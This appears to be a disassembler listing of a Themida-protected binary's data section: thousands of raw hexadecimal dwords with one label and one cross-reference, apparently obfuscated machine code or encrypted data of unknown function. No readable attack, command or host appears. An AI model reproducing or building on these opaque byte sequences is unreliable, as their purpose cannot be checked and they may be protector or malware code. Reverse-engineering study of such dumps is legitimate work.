		dd 0CFE0CD8h, 5AEFA424h, 79798034h, 18A1858Bh, 5E57062Ah
		dd 71BD095Eh, 52062A18h, 0E858D8Bh, 615A062Ah, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 19h, 0DDC35040h, 0B1E03F26h
		dd 51006A36h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1804h
		dd 0C3514100h, 68FD1C3Eh, 5D8D8901h, 0F062A1Fh,	128Ah
		dd 7E900h, 0F7800000h, 0B9928945h, 59D8993h, 0E9062A22h
		dd 0Ch,	8DD79C37h, 403D9135h, 3D740481h, 68E0Fh, 0E6810000h
		dd 576E2E5Ah, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h
		dd 16h,	10C35141h, 0E6816A7Ch, 418D1DA5h, 0FFF7FAE9h, 0A19D89FFh
		dd 8B062A1Bh, 50006AC1h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1804h, 0C3504000h, 0EC8B5FA3h, 4EB88h, 6A000000h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h
		dd 68D3C357h, 0E856006Ah, 3, 5EC35E20h,	4247489h, 4244481h
		dd 15h,	0ADC35646h, 29BD8B16h, 8D062A10h, 2A191185h, 57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1D04h, 0C3574700h
		dd 1CE53AFBh, 0CD8681B2h, 0F28B6707h, 90FE8B66h, 8E8h
		dd 3475BF00h, 0FABA70D5h, 525060D4h, 585A310Fh,	60505F61h
		dd 7E8h, 0D07A9700h, 91A9760Ch,	5E8h, 5C36B100h, 5A5AF11Dh
		dd 906118B2h, 0DE8h, 5CF9AA00h,	5740C2Eh, 3E94CBC0h, 0BD89151Eh
		dd 62A0F55h, 6A006A5Eh,	3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1D042444h, 45000000h, 174EC355h, 9BEB6209h
		dd 0B23A56A3h, 0B529006Ah, 62A0D21h, 2508858Dh
		dd 6A062Eh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h
		dd 57470000h, 15EBE4C3h, 0C083F933h, 1C890F05h,	0F000000h
		dd 168Ah, 11E900h, 0E7E0000h, 709BBAF3h, 66694CC0h, 103E4EEAh
		dd 90675BF6h, 25870Fh, 52500000h, 14E8h, 0A24D1A00h, 685F3AFh
		dd 0FFBC4DBh, 0A11C2271h, 9818057Ch, 310F5F67h,	510BD7BFh
		dd 50585A18h, 3860Fh, 8B660000h, 6A90FAh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1B0424h, 50400000h, 0C86A89C3h
		dd 0E000AE9Bh, 599D0968h, 6A062A00h, 9DBD2300h,	6A062A0Eh
		dd 0AE900h, 7CBE0000h, 9F0F8918h, 703273BCh, 127595FFh
		dd 89F5062Ah, 2A0DF195h, 669D8D06h, 6A062DB9h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h
		dd 0EA95C352h, 0F28B809Bh, 0B58BD3FFh, 62A2249h, 14C185FFh
		dd 6A062Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h
		dd 52420000h, 0F9A4CC3h, 158Dh,	10E900h, 6E8F0000h, 5AA92155h
		dd 4BC8BA6Eh, 4549594Fh, 0B58B2FABh, 62A09C1h, 856E9h
		dd 0E800h, 815D0000h, 2E2512EDh, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1C04h,	0C3514100h, 0A8EF8239h
		dd 84F943Ah, 0E5B5291Ch, 81062A22h, 2A24FDBDh, 7D006h
		dd 98860F00h, 6A000001h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 17042444h, 47000000h, 0CBA2C357h,	0B509B0AEh
		dd 62A3515h, 22619D8Bh,	0F57062Ah, 682h, 25BD8900h, 5F062A34h
		dd 100E381h, 8C0F0000h,	1, 0FDB0BF5h, 0DD85h, 8E800h, 880D0000h
		dd 0AFA9BCFDh, 0BD0BF470h, 62A0A59h, 0D3BD835Eh, 62E22h
		dd 48840Fh, 6A0000h, 3E852h, 5A200000h,	54895AC3h, 44810424h
		dd 140424h, 52420000h, 8E0F0EC3h, 13h, 0EE9h, 0B95CB200h
		dd 99B80E75h, 0BF31DA95h, 0E9F3B093h, 92h, 9E9h, 6CF18F00h
		dd 0A7E10EBCh, 85C7858Dh, 62E22D3h, 1, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Bh, 8EC35040h, 63558000h, 0F99D493h
		dd 285h, 0E9F38B00h, 4Ah, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Dh, 47C35545h, 0C97CC52Eh, 0BA73C413h, 10E91Bh
		dd 0B26A0000h, 0B8EF922Fh, 32967240h, 3DDAC975h, 85C75F1Bh
		dd 62E22D3h, 0
		dd 0F15B52Bh, 9D8D062Ah, 62A2261h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 18h, 0DC35141h, 2C517DF9h, 7A58D89h
		dd 0A3BF062Ah, 8111641Fh, 0FFFEFF23h, 56006AFFh, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1804h, 0C3564600h
		dd 0B834B2C1h, 58D014Fh, 66062A1Ah, 0B58BDB8Ch,	62A05A9h
		dd 0F04C3F6h, 7684h, 50006A00h,	3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1504h, 0C3504000h, 8B60AE42h, 2A29A5BDh
		dd 0D958906h, 61062A16h, 95FFF08Bh, 62A186Dh, 90F38B66h
		dd 0A8023BEh, 8B66503Eh, 6A90F9h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 180424h, 56460000h, 2F53D3C3h, 0E960FD8Dh
		dd 9, 5EEEF8ACh, 76EE00BCh, 0E881660Bh,	0E961DA20h, 405h
		dd 2B00B0F8h, 2A0999B5h, 5170E606h, 14E9h, 4653BC00h, 0B9B82E10h
		dd 0DE2B6499h, 1F3710A5h, 50F0A907h, 0F78B5E33h, 6A71E4h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 150424h, 50400000h
		dd 60C08FC3h, 0DE9h, 0DD9A1600h, 5E332F59h, 0F109F4EFh
		dd 0F6145C6h, 6AD8B6h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 150424h, 56460000h, 8B4E2CC3h, 2A128DBDh, 0F6B70F06h
		dd 6BAF38Bh, 8B000000h,	2A2655BDh, 6AC38B06h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1C042444h, 43000000h
		dd 0D02FC353h, 5B2FB1EBh, 0E9BF4CCEh, 0Ch, 0D2CA6EAAh
		dd 0B0877283h, 33D792A7h, 6A04E8C1h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 0B58BC353h
		dd 0F0C7F311h, 0E2F7668Eh, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Dh, 2FC35747h, 93759CDDh,	0D5E44906h, 6AD82BE0h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 16042444h
		dd 46000000h, 1ECFC356h, 0E950F9B4h, 0Ch, 634A77A6h, 0F1D3369Eh
		dd 2629B4E8h, 6A241C89h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1D042444h, 43000000h, 0E339C353h,	0E1862D45h
		dd 93A978AFh, 24FDB5FFh, 6A062Ah, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 140424h, 51410000h, 12BF0DC3h, 0FF49043Eh
		dd 2A343995h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1C04h, 0C3564600h, 0C79E822Eh, 320C4C75h, 0BF66F863h
		dd 0B0FFA3h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 17h,	8C35040h, 8B0D03E2h, 2A0CA1B5h,	0CE906h, 440D0000h
		dd 0CECB020Bh, 0F507FBFCh, 5360495Dh, 8E9h, 65AADC00h
		dd 399DFDDBh, 9D8B5A1Bh, 62A1971h, 6A70E661h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h
		dd 7E84C351h, 38C0Fh, 0B70F0000h, 0AE960FBh, 19000000h
		dd 9B5B8A8Eh, 5DA7B1F3h, 71E461B3h, 613C5F52h, 1AB830Fh
		dd 0B58B0000h, 62A1445h, 10B9BD89h, 0B60F062Ah,	6BAD8h
		dd 0BD8B0000h, 62A1325h, 0E8C1C38Bh, 8FBF6604h,	0E2F7669Fh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 15h, 9CC35141h
		dd 0D1B58BC9h, 2B062A24h, 53006AD8h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1A04h,	0C3534300h, 0C387DB17h
		dd 2918016Eh, 2A327185h, 0BD8B5806h, 62A0C8Dh, 880FD82Bh
		dd 129h, 0E850006Ah, 3,	58C35820h, 4244489h, 4244481h
		dd 15h,	0D9C35040h, 0D858905h, 0B9062A20h, 7, 14AD8D89h
		dd 0C183062Ah, 5E800h, 53190000h, 5E68A80Dh, 860FD93Bh
		dd 0E5h, 0E855006Ah, 3,	5DC35D20h, 4246C89h, 4244481h
		dd 1Dh,	12C35545h, 0BF357B60h, 0D3EA1D77h, 8C66F5A5h, 53006AD9h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1A04h, 0C3534300h
		dd 0FABA70D5h, 8B1DE6D4h, 2A1FA9BDh, 0ABDF8106h, 0F609C8F8h
		dd 840F04C1h, 54h, 186D95FFh, 8D0F062Ah, 3, 5BFE8B66h
		dd 1769B589h, 0C32B062Ah, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 18h, 0EBC35545h, 274FF94Fh, 8343Dh, 11860F00h
		dd 33000000h, 2A0FA1BDh, 37E906h, 9D890000h, 62A34E5h
		dd 6AC08Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h
		dd 56460000h, 0DEFF5EC3h, 6D770F51h, 607AE2C9h,	55F28166h
		dd 0FEBF0F7Dh, 8BC38B61h, 8E9D8h, 7DFF0000h, 2805707h
		dd 85C705E2h, 62A10C1h,	728B215Bh, 0DBEC08Bh, 5255A7CEh
		dd 32CDBD8Bh, 815F062Ah, 2A24FDBDh, 7D006h, 18850F00h
		dd 29000000h, 2A25D5BDh, 0F9BD8B06h, 0FF062A19h, 2A24FD85h
		dd 6DB58B06h, 0FF062A28h, 2A24FDB5h, 57006A06h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1B04h,	0C3574700h, 696F2017h
		dd 0C664AE37h, 0DABBBE66h, 343995FFh, 6A062Ah, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h
		dd 25F889C3h, 0CC00EA98h, 8BAD817Bh, 0B50390F9h, 62A118Dh
		dd 162DBD8Bh, 6A062Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1A0424h, 51410000h, 0A2FF52C3h, 4C7A6B79h, 1AED8529h
		dd 0F50062Ah, 980h, 0F6B70F00h,	8E0Fh, 6A5E0000h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1C042444h, 46000000h
		dd 0B103C356h, 0ABB93A57h, 0FD87023h, 88h, 50006A00h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1804h, 0C3504000h
		dd 1202D0D0h, 51006A75h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1D04h, 0C3514100h, 68F275F5h, 63CF57ECh, 6AD14Dh, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h
		dd 0E042A1C3h, 0B70F6F5Ah, 605760F1h, 85895861h, 62A053Dh
		dd 1FE98166h, 87BA667Ah, 6A6125h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 140424h, 57470000h, 8B66FEC3h, 0F7D3E9FAh
		dd 6AFFFFh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h
		dd 56460000h, 0B5338BC3h, 62A09D1h, 18E0Fh, 60F90000h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 69C35343h
		dd 0E8353549h, 0Bh, 0FC2DCBF7h,	0EA309640h, 0E99807E8h
		dd 6, 0CF781E5h, 0B95A256Fh, 0FFFFFFFEh, 263D9D23h, 8D21062Ah
		dd 62A05CDh, 8D8D21F9h,	89062A2Ch, 2A051DB5h, 0A58D8906h
		dd 8B062A18h, 2A05CD8Dh, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1A04h, 0C3524200h, 3D64BB52h, 8A4693B5h
		dd 1E183FEh, 22850Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 140424h, 53430000h, 0C28129C3h, 1C42CB15h
		dd 2C8D8D8Bh, 6A062Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1C0424h, 55450000h, 525B23C3h, 81BAB11Ch, 5E92FFEh
		dd 0C1000000h, 9248442Ch, 0F01E183h, 2085h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1504h, 0C3534300h
		dd 8B66F0ECh, 6A6061D8h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h
		dd 1C042444h
dword_58EC00	dd 42000000h, 0C9F7C352h, 8C310934h, 0E89E7BB3h, 5, 0E24F8EC4h
					; DATA XREF: Themida_:0054C218o
		dd 958B51D0h, 62A1B05h,	0FEB95B5Bh, 6AFFFFFFh, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h
		dd 0D5A7C353h, 0D12D5E41h, 24B435EEh, 850Fh, 0FE8B0000h
		dd 11F18D21h, 6A062Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 190424h, 56460000h, 0BD7A22C3h, 8B47620Dh, 2A27C1BDh
		dd 3D8D2106h, 6A062A06h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 18042444h, 47000000h, 0B834C357h,	0BACCEC4Fh
		dd 0C971D23h, 11F18D8Bh, 0BE8062Ah, 0AD000000h,	0C9ABEF1Bh
		dd 3D768860h, 9D8B8D1Fh, 62A0565h, 0D2BF0F5Bh, 0F01E183h
		dd 2585h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1704h, 0C3514100h, 19EB38C2h, 2B99B50Bh, 8D8B062Ah
		dd 62A063Dh, 2B09B58Bh,	9D89062Ah, 62A12E5h, 0F01E183h
		dd 2085h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1604h, 0C3554500h, 8B9169F1h, 0EE961D1h, 0AA000000h
		dd 4F7E68h, 2 dup(0)
		dd 57BE900h, 8B5D0000h,	827F37D1h, 699A52ECh, 4FB76F09h
		dd 2DD78F29h, 7D1AD47h,	59F38183h, 781264A1h, 993327C0h
		dd 0B54F21E1h, 74C1B6CFh, 4B289DACh, 0B0511FB6h, 376FC7BEh
		dd 63BBA5CBh, 8139D3A1h, 0AD05EF81h, 54AF7D55h,	0A499341Eh
		dd 226F7D91h, 0C8CAAA5Ah, 0FC728F5Dh, 936E3CEBh, 0A18BE31Eh
		dd 700BF506h, 291363A2h, 0E53D978Eh, 4868521Ch,	25DDB3A6h
		dd 4A18B14Bh, 86C4BBBBh, 0C65FF961h, 5A342E1h, 9E9598CEh
		dd 0E9D38760h, 18027491h, 432D41C0h, 735D1BEBh,	0C9E2D5EFh
		dd 0BC2B5CFh, 0B6ADC73Dh, 0D82E6F78h, 0A1BB6A0h, 264AB870h
		dd 75139277h, 81874456h, 29F7308Ah, 11AC96D8h, 0CAB4C243h
		dd 67D3382Fh, 8C227065h, 0D710FA76h, 706553E2h,	2BF96422h
		dd 2CB09AD8h, 13061F12h, 0BE0CF8EBh, 12D2E7F5h,	62h, 2751B583h
		dd 0D3CAAC59h, 0A5CB377Bh, 6E9D82BBh, 1CDA51D6h, 76C52A21h
		dd 58226FF0h, 79513D30h, 57D2E780h, 1, 0A4CA378Fh, 0CF9F62BAh
		dd 42798DE5h, 0B7A1B2C2h, 2C02F597h, 1CEA99D5h,	3C32CFE8h
		dd 0F7A6412Bh, 6F7D3302h, 22198422h, 55B17F18h,	6E13923h
		dd 0BECF6A54h, 0F77989C7h, 0CD378B5Dh, 5A1591D3h, 2435D998h
		dd 4F1FE23Ah, 1FCED765h, 70330B2Ah, 4A41AC22h, 0A361372Ah
		dd 837F37D1h, 58AB03EDh, 0A5D5301Ah, 0BE14C6B2h, 9FDCD2E7h
		dd 14000000h, 0BDA7CD37h, 0EAD49E65h, 17017192h, 463046BFh
		dd 0A4918426h, 0B11BB5B2h, 37CDDE17h, 38CCA295h, 2409A23Ch
		dd 620705C6h, 0D00E0527h, 1D564034h, 0B8733D38h, 544B257Eh
		dd 9E88F016h, 69201343h, 0A3B4AA84h, 22192646h,	0E7500CCEh
		dd 6DE4D2h, 561C0000h, 7D83B2A7h, 0C34226Fh, 756C7DF9h
		dd 0F8A7CD37h, 0A403C713h, 8D822F81h, 226FDCA8h, 9C93A40Fh
		dd 2240942h, 0D45ECB6Bh, 3624C391h, 7CBAB14Ch, 0BA05EF6Bh
		dd 0A361372Ah, 38F73E33h, 89C82270h, 0EB4A474Dh, 0E0F10263h
		dd 0CA377446h, 0B381BAA4h, 0C92E2553h, 226F7D71h, 5642355Dh
		dd 0D2E70D74h, 0F185804Eh, 1E9FAh, 37210000h, 64BCA6CCh
		dd 90E8D29Eh, 0AFC14172h, 867BB49Eh, 226F7DAFh,	10D7A510h
		dd 5FF1604Ah, 7392C81Ah, 382BB557h, 180B251Fh, 17B1C142h
		dd 1AC91267h, 1A7F0B35h, 6F8D1025h, 573CA722h, 372E7899h
		dd 0C5BA6918h, 22707470h, 382DDC47h, 227073FDh,	0FB6057C2h
		dd 24464F4Fh, 82BBA510h, 2744589Dh, 0ECE323C4h,	6D1C54AEh
		dd 0CA6CC9BEh, 2B532899h, 17B29CDAh, 4D050F06h,	52D1BBB5h
		dd 2899C9E9h, 0C2988B1Bh, 12747340h, 0E2949C15h, 0A48E9F22h
		dd 0A65EF809h, 0D22A145Ch, 0C8564030h, 2F14CBBEh, 4B9E7D45h
		dd 0D5130A21h, 0C694432Dh, 37413840h, 117B6169h, 1476FD9h
		dd 3FA70000h, 5521E4EAh, 0DDDF8870h, 0DCED6826h, 56B07E2Dh
		dd 0CF9D3822h, 0E4494036h, 24458206h, 78BDB2BBh, 3F28998Ah
		dd 0A0D9C3D4h, 48C273BBh, 2E25FF84h, 0C45E12F0h, 907AF60Ch
		dd 0BCA6CA38h, 7A31242Eh, 311B57ACh, 0A1619F96h, 0ECF93C31h
		dd 53BE2899h, 3FC59342h, 9B343E35h, 503A34CDh, 606ABEB5h
		dd 70D9117Eh, 6Bh, 83F113E1h, 0AEC04199h, 3F4EA69Dh, 20EE9DE6h
		dd 9A48EE2h, 0D7FEF312h, 685D9083h, 2BDA13FDh, 6F7BFF36h
		dd 5E55C0A2h, 6F7C3CF9h, 5630B7A2h, 857D0BB4h, 0D3BDCE0Fh
		dd 4EE6C7Bh, 60796C76h,	8A4134BEh, 602E4ABCh, 4AE5CFA3h
		dd 0A7C41D53h, 497BA718h, 46F50648h, 8FC98451h,	21D03BDDh
		dd 0CDC4B253h, 7317C3h,	3F550000h, 0FDF2A1EAh, 244573A5h
		dd 3D957FEAh, 17FCABC5h, 15E29Eh, 424C43FDh, 49F8788Ah
		dd 1BE9877Bh, 9A48ECCh,	8739B812h, 892899EEh, 0DF564BFAh
		dd 0E02899EEh, 6B5E7E75h, 69036D95h, 6C1B64B9h,	6BC58177h
		dd 0EDD7422Ah, 19036D95h, 463042C1h, 745E16EEh,	8DA69929h
		dd 0B8867993h, 766B1A63h, 2445B082h, 4429D843h,	5567A4A6h
		dd 919B9235h, 0D07156BFh, 0C9749718h, 91E61C13h, 0F5EA9948h
		dd 22702240h, 161856ABh, 0A095B4ABh, 2441F958h,	3C947EE9h
		dd 7710AAC6h, 201759A9h, 665020E2h, 6DAC5AE7h, 0ECDF8171h
		dd 0EA84EC16h, 56828351h, 0EE53D461h, 6F80EB71h, 0A8C83A78h
		dd 0D8A066BEh, 5D506AEEh, 482CD8A6h, 0F2E9897Ah, 88224EB4h
		dd 0EA4B40EFh, 0CD71EE53h, 3145EA5h, 22505F1Eh,	1A11EF4Ch
		dd 768D26DCh, 0B501EBFCh, 13h, 798856F3h, 79700BF5h, 0EC2E1332h
		dd 6728B561h, 370C645Bh, 69C1ABB1h, 95EDD799h, 0C61E0852h
		dd 0F54D373Fh, 237B650Fh, 51A993E1h, 81D9C3B5h,	0AE06F082h
		dd 16311B53h, 55E68956h, 4BDh, 5DEE0100h, 8704EE83h, 685C2434h
		dd 58F2h, 68243489h, 5C9Dh, 53241C89h, 1452ED68h, 0B9515B41h
		dd 63B93289h, 0C159CB01h, 0EBC103EBh, 18F38106h, 89067C49h
		dd 8B545BDEh, 0C483241Ch, 0A8B95104h, 8126E14Dh, 0E14DA0E9h
		dd 89D90126h, 34FF5931h, 0C4815B24h, 4,	5624348Bh, 0C681E689h
		dd 4, 4C681h, 34870000h, 0D7E95C24h, 9EFFFC48h,	34D4B8A0h
		dd 0C503062Eh, 0E0CBE0FFh, 0F84202F8h, 4DF262BEh, 10DF248Ah
		dd 0A8DE0068h, 223108DCh, 577B227Dh, 7EB459B5h,	7D255EAh
		dd 325D5F82h, 306C17h, 0E22B6F3Fh, 0C01A0C8Bh, 66215143h
		dd 0BC403FD7h, 7C852FF0h, 0DD753CF4h, 7A02245Ah, 0FA053C1Bh
		dd 664E7D58h, 84E73A74h, 0F7790083h, 0C2C63704h, 0D61D6AE8h
		dd 0D3A32E7Fh, 0B2F0661Ah, 838A3BEDh, 1A8D6F11h, 6AAA1096h
		dd 6A607C31h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1D042444h, 47000000h, 0CCDCC357h, 23B35497h,	4349AFF8h
		dd 0FFFFFEB9h, 55006AFFh, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1C04h, 0C3554500h, 2F61E8F4h, 46D7CF0Bh
		dd 8D21F8ACh, 62A2261h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Ah, 18C35747h, 19DDDA69h,	0FC60F7D6h, 323D8D8Bh
		dd 8B61062Ah, 2A2155B5h, 0F3BF0F06h, 167D8D21h,	6A062Ah
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h
		dd 403175C3h, 0BE665F75h, 8D8BADECh, 62A2261h, 32619D8Bh
		dd 0E183062Ah, 6850F01h, 89000000h, 2A0E5195h, 7D8D8B06h
		dd 6A062A16h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 17042444h, 42000000h, 0B1B6C352h, 0B866610Ch, 0C28BCF0Eh
		dd 0F01E183h, 685h, 81950900h, 61062A34h, 50006A60h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1404h, 0C3504000h
		dd 43D28157h, 0B92AA620h, 0FFFFFFFEh, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 19h, 0ADC35646h,	2272F442h, 8166609Fh
		dd 8160B7E8h, 9BF9FD9h,	9E96149h, 0BB000000h, 3647D786h
		dd 306FD9Ah, 1A318D21h,	0D8B8062Ah, 21176F91h, 2A10C18Dh
		dd 0F9953306h, 8B062A34h, 2A1A318Dh, 52006A06h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1A04h,	0C3524200h, 75E7CAC5h
		dd 893E006Ch, 2A0F8DBDh, 0A5958B06h, 0BE062A00h, 34726B1Ah
		dd 0F01E183h, 685h, 8D9D8B00h, 8B062A13h, 2A10C18Dh, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1C04h, 0C3554500h
		dd 0E2DF267Dh, 391D9400h, 83D68B9Bh, 850F01E1h,	22h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 0A6C35343h
		dd 8EDC67D2h, 6061BD37h, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 1Dh, 95C35343h, 0D644025Ah, 6C2E7C34h, 85C7F8D3h
		dd 62A24FDh, 7D0h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 19h, 55C35343h, 6D1BFBC0h,	0FD852BE5h, 61062A28h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 0DBC35646h
		dd 7782F18Dh, 0EB896B86h, 0E99D6107h, 0
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 96C35343h
		dd 0B18589F1h, 6A062A2Ch, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1A042444h, 47000000h, 0DB5BC357h,	6BE1EA5Bh
		dd 0E9C18B02h, 75h, 0D88C6660h,	840F04A8h, 35h,	0B5FF016Ah
		dd 62A231Dh, 81A9858Dh,	0D0FF062Dh, 3758589h, 0FE8B062Ah
		dd 680CEFC1h, 20040000h, 26A006Ah, 0D6857h, 95FF0001h
		dd 62A0375h, 32E9h, 0C985C600h,	56062A27h, 0C530DF68h
		dd 0C9B5FFA9h, 8D062A22h, 2D81A985h, 89D0FF06h,	2A321D85h
		dd 29858D06h, 50062A2Ch, 56A206Ah, 1D95FF56h, 61062A32h
		dd 6E0C1C3h, 1C8F4FEBh,	8ABFA25h, 0ACDAC6A1h, 0D2D41CA4h
		dd 0E45C5Ch, 0F53134CEh, 0B327CE1Bh, 5B34D129h,	0E62AC7DDh
		dd 0DF1BCE17h, 0A6DB6734h, 47491100h, 0A3EA1A00h, 0D5h
		dd 0CA199C00h, 4A0000FEh, 0FBFEh, 0DDB48700h, 0D9202352h
		dd 0E7339C9Eh, 11A9E977h, 0D9810000h, 4DAC4F71h, 3415BD83h
		dd 0F00062Ah, 4185h, 55006A00h,	3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1D04h, 0C3554500h, 0C2C2AD97h, 0FAB90B51h
		dd 8D89D351h, 62A0F21h,	0DDECCF81h, 0B84881h, 0B5000000h
		dd 4C2E4h, 1621BD8Bh, 0C08B062Ah, 105DB589h, 0BD83062Ah
		dd 62A2451h, 83097500h,	2A2A89BDh, 13740006h, 0C08B5350h
		dd 4D0B8h, 3D9D8D00h, 0FF062CB9h, 83585BD3h, 2A2A89BDh
		dd 11740006h, 0D0B85350h, 8D000004h, 2CB88A9Dh,	5BD3FF06h
		dd 7DBA6658h, 598589BFh, 8B062A18h, 55006AC0h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1A04h,	0C3554500h, 0CDCDC4D5h
		dd 662C2E3Ch, 45EAD181h, 3985858Dh, 6A062Eh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 180424h, 52420000h, 48E2BC3h
		dd 8957A6BBh, 2A34B1B5h, 50905A06h, 38A0Fh, 8B660000h
		dd 6A90CBh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h
		dd 52420000h, 344558C3h, 858B6065h, 62A2765h, 8DFE8B61h
		dd 2E394285h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1D04h, 0C3574700h, 50DF2465h, 0DFD7AE48h, 0B56882Dh
		dd 2A1029BDh, 0B6505906h, 24048995h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 19h, 2AC35343h, 2DCAEB33h, 2CB25085h
		dd 5195FF5Fh, 23062A0Fh, 2A2551BDh, 24448B06h, 51006A04h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1D04h, 0C3514100h
		dd 0F607A657h, 0D5E2190h, 4EB94F05h, 895AE2FDh,	2E396D85h
		dd 0FAB70F06h, 824448Bh, 85892AB6h, 62E3981h, 0FFE28166h
		dd 0C9BD8335h, 62A1Bh, 94850Fh,	0C2810000h, 70355C0h, 27C985C6h
		dd 6A47062Ah, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1D042444h, 40000000h, 0E284C350h, 8D3DAC67h,	60CF5E93h
		dd 16D98D8Bh, 0BF68062Ah, 0E98489B9h, 10h, 2FCB2963h, 0BAF8E855h
		dd 64B21132h, 788360CAh, 13240481h, 665010EEh, 0B5FFCB8Bh
		dd 62A22C9h, 0DD98D89h,	858D062Ah, 62D81A9h, 66BFDE80h
		dd 0D0FFC88Bh, 7889E781h, 858963E7h, 62A1BC9h, 6E8h, 1A5BAB00h
		dd 890BFF31h, 2A082185h, 0BD835F06h, 62A092Dh, 0AC850F00h
		dd 0E9000000h, 10h, 0ADDB75F4h,	0F73CC4BEh, 0E205EEE1h
		dd 0AA50911Eh, 27C985C6h, 2B47062Ah, 2A0A618Dh,	4E806h
		dd 0B5E20000h, 8B528A0Fh, 8B505FF9h, 56042444h,	8B59D68Bh
		dd 41B96600h, 24448942h, 0D68B6604h, 8E958h, 0D3690000h
		dd 6922452h, 0FFF8EEEAh, 2A22C9B5h, 0F5BD2306h,	8D062A17h
		dd 2D81A985h, 0FFFE8B06h, 56006AD0h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1A04h,	0C3564600h, 0EE40E43Eh
		dd 505532B6h, 22699531h, 605A062Ah, 2CCD9589h, 0BD89062Ah
		dd 62A0F35h, 2D858961h,	66062A09h, 834424BAh, 2A24A5BDh
		dd 850F0006h, 0FFh, 1ECD9589h, 85C6062Ah, 62A27C9h, 958B5756h
		dd 62A2669h, 1705685Ah,	66607A60h, 8B7288BBh, 48161C2h
		dd 0BF563424h, 57006A59h, 3E8h,	0C35F2000h, 247C895Fh
